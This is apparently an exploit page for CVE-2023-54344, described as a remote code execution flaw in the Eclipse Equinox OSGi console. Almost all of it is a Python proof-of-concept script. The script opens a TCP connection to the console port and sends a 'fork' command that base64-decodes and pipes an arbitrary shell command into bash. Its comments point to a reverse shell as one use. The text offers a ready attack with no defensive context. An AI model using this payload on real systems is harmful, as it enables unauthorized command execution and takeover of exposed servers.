CVE-2023-54344 Eclipse Equinox OSGi 远程代码执行漏洞

import socket import base64 # Target configuration TARGET_HOST = "127.0.0.1" TARGET_PORT = 1717 # Default OSGi console port, may vary # The command to execute (e.g., creating a file or reverse shell) # Example: touch /tmp/pwned CMD = "touch /tmp/pwned" # Encode the command to Base64 as described in the vulnerability encoded_cmd = base64.b64encode(CMD.encode()).decode() # Construct the payload using the 'fork' directive # The payload wraps a bash command that decodes and executes the base64 string payload = f'fork bash -c "echo {encoded_cmd} | base64 -d | bash"' print(f"[*] Sending payload to {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Payload: {payload}") try: # Establish TCP connection to the OSGi console s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_HOST, TARGET_PORT)) # Send the malicious payload followed by a newline s.sendall(payload.encode() + b'\n') # Optional: Receive response to check if command was processed response = s.recv(1024) print("[+] Response received:") print(response.decode()) s.close() print("[+] Payload sent successfully.") except Exception as e: print(f"[-] An error occurred: {e}")